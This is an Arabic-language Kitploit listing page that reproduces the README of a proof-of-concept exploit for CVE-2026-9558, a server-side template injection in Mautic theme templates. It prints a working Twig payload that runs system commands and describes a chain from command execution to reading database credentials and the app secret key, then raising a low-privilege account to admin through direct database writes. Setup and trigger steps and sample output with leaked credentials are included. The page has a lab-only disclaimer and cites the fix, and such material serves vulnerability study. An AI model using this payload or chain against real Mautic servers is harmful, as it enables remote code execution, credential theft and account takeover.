Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-9558-poc — PoC قابلية الاستغلال لـ CVE-2026-9558 (SSTI في قالب Mautic) | Kitploit
أدوات/GitHubGitHub/covepseng/cve-2026-9558-poc
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubcovepseng/cve-2026-9558-poc

cve-2026-9558-poc

PoC قابلية الاستغلال لـ CVE-2026-9558 (SSTI في قالب Mautic)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-9558 — حقن القوالب من جانب الخادم (SSTI) في قوالب سمات Mautic حتى الاستيلاء الكامل على صلاحيات المسؤول

جدول المحتويات

  • نظرة عامة
  • الإصدارات المتأثرة
  • السبب الجذري
  • التحليل
  • بنية المستودع
  • المتطلبات
  • الاستخدام
  • المخرجات المتوقعة
  • المراجع
  • إخلاء المسؤولية

نظرة عامة

CVE-2026-9558 هي ثغرة حقن القوالب من جانب الخادم (SSTI) في محرك السمات الخاص بـ Mautic. السمات التي يتم رفعها عبر مدير السمات (Theme Manager) هي أرشيفات ZIP تحتوي على قوالب Twig، وفي الإصدارات المتأثرة يتم عرض تلك القوالب بواسطة بيئة Environment الافتراضية لتطبيق Twig دون إرفاق أي سياسة SandboxExtension.

نظرًا لأن Twig يمكنه استدعاء دوال PHP عشوائية عبر عوامل تصفية مثل map وfilter وreduce، يمكن لمستخدم موثَّق يمتلك صلاحيات رفع السمات تثبيت سمة ينفذ قالبها أمر نظام عشوائي بمجرد عرضها — وهو ما يحدث تلقائيًا في أول مرة يفتح فيها المستخدم منشئ البريد الإلكتروني أو الصفحات المقصودة مع تلك السمة.

root@kitploit:~
{{ ["id"] | map("system") | join }}

الإصدارات المتأثرة

النطاق المتأثرأُصلح في
>= 1.3.0, < 4.4.134.4.13 (4.4.20 via ELTS)
>= 5.0.0, < 5.2.115.2.11
>= 6.0.0, < 6.0.96.0.9
>= 7.0.0, < 7.1.27.1.2

يستهدف هذا المختبر الإصدار 7.1.1، وهو آخر إصدار قبل الإصلاح.


السبب الجذري

ينص توثيق المطورين في Mautic على أن قوالب السمات تُعرض في بيئة Twig رملية (sandbox) مقيدة:

يعرض Mautic قوالب السمات التي يرفعها المستخدمون في بيئة Twig رملية مقيدة. تمنع البيئة الرملية بعض الدوال وعوامل التصفية التي قد تتيح تنفيذ الأكواد عن بُعد، أو تسريب البيانات، أو استكشاف نظام الملفات.

في الإصدارات المتأثرة، لا توجد سياسة البيئة الرملية هذه. يقدّم الإصلاح (7.1.2) ملف ThemeSandboxPolicy.php، وهو تطبيق SecurityPolicyInterface قائم على القائمة السوداء يمنع عوامل التصفية map وfilter وreduce ومجموعة من الدوال، بما فيها source() (قراءة الملفات العشوائية) وconfigGetParameter() (تسريب بيانات اعتماد قاعدة البيانات ومفتاح التطبيق السري). يوثّق التعليق المضمّن في الإصلاح نفسه الشكل الدقيق للحمولة المستخدمة في هذا الإثبات المفاهيمي (PoC):

root@kitploit:~
private const DENIED_FILTERS = [
    'map',    // {{ ['id']|map('system')|join }} -> RCE
    'reduce',
    'filter',
];

قبل هذه السياسة، لم تكن توجد أي قيود من هذا القبيل على أي مسار لعرض السمات.


التحليل

تم التحقق من السلسلة بالكامل من البداية إلى النهاية باستخدام حساب منخفض الصلاحيات يمتلك فقط مجموعتي صلاحيات السمات (إنشاء/تعديل) والبريد الإلكتروني (إنشاء/تعديل) — وليس صلاحيات المسؤول — لمطابقة الشرط المسبق PR:L في متجه CVSS الوارد في النشرة الأمنية.

  1. تنفيذ الأوامر — رفع سمة معدّلة وفتح منشئ البريد الإلكتروني ينفّذ استدعاءات system() المضمّنة في ملف .twig الخاص بالسمة.
  2. سرقة بيانات الاعتماد — نفس الأداة البدائية تقرأ ملف config/local.php الخاص بـ Mautic نفسه، مما يكشف بيانات اعتماد قاعدة البيانات وsecret_key الخاص بالتطبيق كنص صريح.
  3. تصعيد الصلاحيات — تُستخدم بيانات اعتماد قاعدة البيانات المسروقة لفتح اتصال PDO مباشر من داخل حمولة SSTI وترقية الحساب منخفض الصلاحيات إلى role_id بقيمة 1 (مسؤول)، متجاوزًا بالكامل فحوصات الصلاحيات على مستوى تطبيق Mautic.
root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)
root@kitploit:~
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',
root@kitploit:~
rows_updated=1
confirm: 2|priv-esc|1

الشروط المسبقة المؤكدة تجريبيًا

تشير النشرة الأمنية إلى PR:L. يؤكد هذا المختبر عمليًا الشرط المسبق المحدد لانخفاض الصلاحيات: الوصول إلى مشغّل العرض يتطلب كلًا من صلاحيات رفع السمات وصلاحيات إنشاء البريد الإلكتروني — وليس صلاحية منخفضة عامة واحدة. لا يوجد حل بديل خارج الإصلاح الرسمي يقيد هذا؛ التخفيف الوحيد الموثق هو قصر core:themes:create على المسؤولين الموثوقين.


بنية المستودع

root@kitploit:~
cve-2026-9558-poc/
├── podman-compose.yml       # MariaDB + Mautic 7.1.1-apache, isolated bridge network
├── Dockerfile.mautic        # pins the official image to the vulnerable release
├── install.sh                # non-interactive mautic:install bootstrap
└── sparse/
    ├── config.json           # malicious theme manifest
    ├── sparse.zip            # theme ready to be uploaded
    └── html/
        ├── email.html.twig   # SSTI payload template. Look at the end of file where there is the placeholder for injecting arbitrary commands.
        ├── ...               # Other .twig files
        └── .../              # Other directories (e.g css)

المتطلبات

الأداةالإصدارملاحظات
Podman≥ 4.0يتطلب podman-compose
curlأي إصداريستخدمه install.sh للاستعلام عن الجاهزية

يتم الاستغلال في هذا الإثبات المفاهيمي يدويًا عبر واجهة الويب الخاصة بـ Mautic (رفع عبر مدير السمات ← منشئ البريد الإلكتروني)، بما يطابق سير عمل المهاجم الحقيقي: رفع السمة هو عملية ملفات، وليس استدعاء API يستحق الأتمتة في هذه المرحلة من التحليل.


الاستخدام

1. بناء المختبر وتشغيله

root@kitploit:~
podman-compose up -d
./install.sh

ينتظر install.sh حتى تقبل حاوية التطبيق الاتصالات، ثم يشغّل mautic:install بشكل غير تفاعلي لتهيئة حساب المسؤول الأول.

2. إنشاء حساب منخفض الصلاحيات

من الواجهة، أنشئ دورًا مخصصًا مع تمكين السمات (إنشاء/تعديل) و البريد الإلكتروني (إنشاء/تعديل) فقط، وأنشئ مستخدمًا مرتبطًا بهذا الدور. هذا يعيد إنتاج الشرط المسبق PR:L بدلًا من الاختبار بصلاحيات المسؤول.

3. رفع السمة الخبيثة

سجّل الدخول كمستخدم منخفض الصلاحيات. من السمات ← رفع، ارفع ملف ZIP مبنيًا من sparse/config.json وsparse/html/page.html.twig (أو نسخة معدلة من أي سمة مدمجة مع إضافة سطر الحمولة إلى ملف .twig الخاص بها).

4. تشغيل العرض

من القنوات ← البريد الإلكتروني ← جديد، اختر السمة المرفوعة كقالب، وافتح المنشئ. تُنفَّذ الحمولة بمجرد عرض السمة للمعاينة.

5. التنظيف

root@kitploit:~
podman-compose down -v

المخرجات المتوقعة

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

المراجع


إخلاء المسؤولية

هذا المستودع مخصص للأغراض التعليمية وتحليل قابلية الاستغلال محليًا فقط. تم إجراء جميع الاختبارات ضد بيئة حاويات مستضافة ذاتيًا. لا تشغّل هذا الإثبات المفاهيمي ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.

تنزيل الأداة
الموردالرابط
النشرة الأمنيةGHSA-9fx4-7cmj-47vg
الإصلاح (سياسة البيئة الرملية)ThemeSandboxPolicy.php
المستودع المعرض للثغرةmautic/mautic
التحليل الكامل — تدوينةreturn-zero.dev/posts/cve-2026-9558